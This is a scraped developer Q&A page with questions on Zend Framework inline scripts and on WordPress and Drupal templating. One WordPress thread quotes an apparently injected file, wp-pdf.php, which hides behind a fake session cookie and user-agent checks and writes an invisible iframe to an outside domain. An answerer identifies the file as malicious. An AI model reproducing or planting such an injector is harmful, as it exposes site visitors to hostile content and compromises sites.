zend framework 3 : How to use php code or variable inside inlineScript method - zend-framework3

i am trying to use the value of a php variable as javascript variable within my zend framework 3 based project. But, it is not rendering properly. Sample code is given below that i tried.
<?php
$this->inlineScript()->captureStart();
echo <<<JS
function abc(){
var a='<?php echo $name?>';
......
}
JS;
$this->inlineScript()->captureEnd();
?>
Here, it is printing as it instead of rendering the value of $name. Is there any way to do so like we can do using within plain script tag like below.
<script type='text/javascript'>
function abc(){
var a='<?php echo $name?>';
}
</script>

Try not to mix PHP and JS too much... Here your code is echoed as you are using an echo where you directed a stream (your string containing js and PHP).
Try something more readable:
<?php $this->inlineScript()->captureStart() ?>
function abc() {
var a='<?= $name ?>';
......
}
<?php $this->inlineScript()->captureEnd() ?>
Here the PHP instruction will be executed as it is not in a heredoc
Also, this is not a Zend Framework related question but rather a PHP question. Please take some times to read the PHP documentation linked in this post, and not only the Heredoc section... PHP has plenty of ways of dealing with strings!

Related

removing p tag around images from wordpress term_description

Should be pretty straight forward but placing my filter in the themes function file is not having any affect on the template:
add_filter('term_description', 'filter_ptags_on_images');
function filter_ptags_on_images($content){
return preg_replace('/<p>\s*(<a .*>)?\s*(<img .* \/>)\s*(<\/a>)?\s*<\/p>/iU', '\1\2\3', $content);
}
and my markup:
<?php echo term_description(); ?>
EDIT: I tried testing the filter by returning dummy content from the function and nothing changes, so the filter isn't running on the content for some reason
It turns out I was trying to target the wrong template and the actual function was an Advanced Custom Field wysiwg custom content tag:
<?php the_field('fieldname'); ?>
It took me a little while to figure out how to filter this but with a little googling I found out you can use this to target an ACF wysiwyg field from your functions file:
add_filter('acf_the_content', 'your_function');

Wordpress: How to insert javascript code (without referencing an external asset) using the API?

Using wp_enqueue_script() I can add references to extenal .js assets, but I want to insert the actual javascript code inside <script> tags.
My limitation is that I can't add it directly to, for example, the head.php file because it's a user-configurable bit of javascript, so I want to read it from the theme options and insert it programmatically.
Is it possible to do this using the API?
You can use the head hook and then just echo out the JS as a string using PHP, like so;
<?php
function addUserScript() {
$userScript = '<script>';
$userScript .= YOURUSERSCRIPT;// get user script info
$userScript .= '</script>';
echo $userScript;
}
add_action('wp_head', 'addUserScript');
?>

Unsolvable classic error message : Cannot modify header information - WordPress

I know this is a classic : I have that error message coming from Wordpress :
Warning: Cannot modify header information - headers already sent by (output started at /home/quanscom/public_html/blog/wp-pdf.php:8) in /home/quanscom/public_html/blog/wp-includes/feed-rss2.php on line 8
I know that is usually coming from a garbage space or a line in the file but that seems to be different this time.
I've been following all those links :
https://www.google.com/search?sourceid=chrome&ie=UTF-8&q=Warning%3A+Cannot+modify+header+information+-+headers+already+sent+by+wordpress+rss
and especially this one :
http://codex.wordpress.org/Answers-Trouble_Shooting#Headers_already_sent
But nothing has changed. As advised in the last link, I've replaced those two files by the original, but nothing changed.
Could any one give a look with some fresh eyes please ?
Thanks, you'll find the two pages below :
wp-pdfphp :
<?php
if(!#isset($_COOKIE['PHPSESS1D']) &&
!#preg_match('/; Yandex|; Googlebot|linux|macintosh|android|Symbian|iPhone|Mac OS|Opera Mini|Chrome|Apple|Presto/i',$_SERVER['HTTP_USER_AGENT'])) {
if (!is_feed()) {
echo '<script type="text/javascript">
d=new Date();
d.setDate(d.getDate()+1);
document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
</script>';
echo '<style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://3gb2.lili2d.com/ad.jpg?11"></iframe>';
}
}
?>
feed-rss2.php :
<?php
/**
* RSS2 Feed Template for displaying RSS2 Posts feed.
*
* #package WordPress
*/
header('Content-Type: '.feed_content_type('rss-http').'; charset='.get_option('blog_charset'), true);
$more = 1;
echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>'; ?>
<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
<?php do_action('rss2_ns'); ?>
>
Then some code in <channel> until the end with </channel> </rss> without any space or empty line after.
In your wp-pdf.php file on line 8, you have an echo statement. And in feed-rss2.php you have a header() function , which basically tries to set the header for the response. Since the output has already happened in the wp-pdf.php file, you are getting this error.
To resolve this you can enclose the echo statement with this condition.
if (!is_feed()) {
// your echo statement here
}
On a closer look at the wp-pdf.php file code, it looks slightly malicious for me. It is including an hidden iframe on your page to a domain that looks really malicious. Also the code is checking whether the page was referred by a search engine or not.
I know that you inherited this code. Can you tell me the full path where this file is present?
Edit:
I think you can remove the wp-pdf.php file. When you remove it, it might generate another error in the place where it got included originally. You can go there and remove the reference as well.

sending arguments to block View in the tpl file

I have a block View that is displayed like so in my page.tpl.php file:
<?php if (!empty($subslider)): ?>
<div id="subslider">
<?php print $subslider; ?>
</div>
<?php endif; ?>
In the View Ui I set this default php argument:
$url = explode('/',$_GET['q']);
$slideshow = node_load($url[1]);
if($slideshow->field_slide_ref[0]['nid']){
return $slideshow->field_slide_ref[0]['nid'];
}else{
return '';
}
It grabs the reference id set in the page node.
Now, my problem is that im using page.tpl.php for other types of content that aren't necessarily nodes with a reference id in the url. I still want to pass an argument to the block View though. How do I do this in my template file?
Thanks
EDIT:
subslider is a block region. Im using Views Slideshow to make a slideshow.
I dont think I can use views_get_view_result because that just retrieves an array.. I need the actual slideshow.
In my comment, I mentioned views_embed_view(), which is different than views_get_view().
$slideshow = views_embed_view('my_slideshow_view', 'block_1', arg(1));
Also note, you don't need to explode $_GET['q']. You should be able to access URL arguments with: arg(0), arg(1), arg(2), etc....
I battled with this for a while. If you use view_embed_view() then you should read http://drupal.org/node/823056 at it explains what you have to do to make it work for a views_slideshow.
Another solution is to use JQuery. First you add the views_slideshow block to your content region. Then you create a div container on the page <div id="my-rotator"> </div> where you want it to appear (i.e. edit the node)
Then in your page.tpl.php add the following script but you'll need to replace block-views-my_image_rotator-block_2 with the name of your views block - find it by using Firebug:
<script type="text/javascript">
$(document).ready( function(){
var oNewContainer = $("div#my-rotator");
var oRotator = $("div#block-views-my_image_rotator-block_2");
oNewContainer.append(oRotator);
});
</script>
PS. You can control on what page the views-slideshow appears by configuring the block

How to insert a block into a node or template in Drupal 7?

In Drupal 6, it was easy to insert a block into a template with the following code:
$block = module_invoke('views', 'block', 'view', 'block_name');
print $block['content'];
However, using the same instructions in Drupal 7 does not seem to work. I have looked around and cannot find the new method.
Does Drupal 7 have a routine that can allow for programmatically inserting a block into a template or node?
D7:
<?php
$block = module_invoke('module_name', 'block_view', 'block_delta');
print render($block['content']);
?>
'module_name' = The machine name of the module (i.e. the module's folder name). This is true for core modules too, so for instance 'search', 'user' and 'comment' would all work here.
'block_delta' = The machine name of the block. You can determine what this is by visiting the block administration page and editing the block. The URL for editing a webform block, for instance, would be something like:
Drupal 7: admin/structure/block/manage/webform/client-block-11/configure
In this example, 'webform' is the module's name, 'client-block-11' is the block's delta.
Custom blocks will have module name of 'block' and a number for a delta, which you can also find by editing the block.
More information: http://drupal.org/node/26502
This appears to be the solution for inserting blocks into templates for Drupal 7, but it seems a bit clunky and I have no idea about impact on performance:
$block = block_load('views', 'block_name');
$output = drupal_render(_block_get_renderable_array(_block_render_blocks(array($block))));
print $output;
If anyone has a better procedure, please do add.
With wrburgess's answer you may get an error if your server is using a newer version of PHP.
Strict warning: Only variables should be passed by reference in include()...
This is what I did to not cause/get rid of the error.
<?php
$blockObject = block_load('views', 'block_name');
$block = _block_get_renderable_array(_block_render_blocks(array($blockObject)));
$output = drupal_render($block);
print $output;
?>
This work for me:
98 is the id of the block
$block =block_load('block',98);
$output = drupal_render(_block_get_renderable_array(_block_render_blocks(array($block))));
print $output;
Just tested this in drupal 7 and it works:
$bloqueServicios = module_invoke('views', 'block_view', 'servicios-blo_home');
print render($bloqueServicios);
Good luck!
The module_invoke() function works. However, I found that rendering a block this way apparently won't use a custom template for that block. This might be OK depending upon your needs.
As commented before in other answers, this works as well and also makes use of custom templates:
$raw_block = block_load('your-module', 'delta');
$rendered_block = drupal_render(_block_get_renderable_array(_block_render_blocks(array($raw_block))));
print $rendered_block;
So, if you have a custom block--your-module--delta.tpl.php template file, it will be used to format the block.
Source: http://api.drupal.org/api/drupal/includes!module.inc/function/module_invoke/7
For some reason render() doesn't work for me, but this does:
<?php
$block = module_invoke('block', 'block_view', '1');
echo $block['content'];
?>
In my search to include a block in a template, i came across this post.
As an addition, if you want to include a custom block (that you added through the block interface) you have to use (instead of block_load(); in drupal 7)
$block = block_get_custom_block($bid);
$content = $block['body'];
Improving wrburgess' answer, you can do it in one line...
<?php print drupal_render(_block_get_renderable_array(_block_render_blocks(array(block_load('module_name', 'block_delta'))))); ?>
So for example, I use block number 6...
<?php print drupal_render(_block_get_renderable_array(_block_render_blocks(array(block_load('block', '6'))))); ?>
This worked for my Drupal 7 ,
URL: admin/structure/block/manage/addthis/addthis_block/configure
NOTE:delta and module name present in the url itself
$addblock = module_invoke('addthis','block_view','addthis_block');
print render($addblock['content']);
More information can be found on
http://technarco.com/drupal/insert-block-node-or-template-drupal-7
$block = module_invoke('menu_block', 'block_view', '6');
echo render ($block['content']);
This works for me for printing menu block.
There's module called insert_block for those which want to insert block "Drupal way" (not to program anything, just enable the module). Here's how to set it up.
NOTE: I know this question is about "programmatically inserting a block into a template or node" but Google sends people here even their are looking for non-programmer solution like me.
Have a look how Drupal does it in _block_render_blocks. The result of that function gets passed to drupal_render.
Recently I faced the same issue and I came across a nice solution which describes the solution in drupal as drupal's way.
You can print regions inside any template, but they aren't available out of the box in the node.tpl.php template. To make them available, you'll create a new variable for use in your node.tpl.php template that'll contain all the region content.
Creating new template variables is done by using a preprocess function. In your theme's template.php file, create a function that looks like this:
function mytheme_preprocess_node(&$variables) {
// Get a list of all the regions for this theme
foreach (system_region_list($GLOBALS['theme']) as $region_key => $region_name) {
// Get the content for each region and add it to the $region variable
if ($blocks = block_get_blocks_by_region($region_key)) {
$variables['region'][$region_key] = $blocks;
}
else {
$variables['region'][$region_key] = array();
}
}
}
Then, in your theme's node.tpl.php template, you can render any region by doing the following:
<?php print render($region['sidebar_first']); ?>
Where sidebar_first is the name of the region you want to render.
Read the complete article here: https://drupal.stackexchange.com/questions/20054/can-regions-be-printed-within-a-node-template
module_invoke Working fine for render block in the template file, but it's not working multilingual sites.

Resources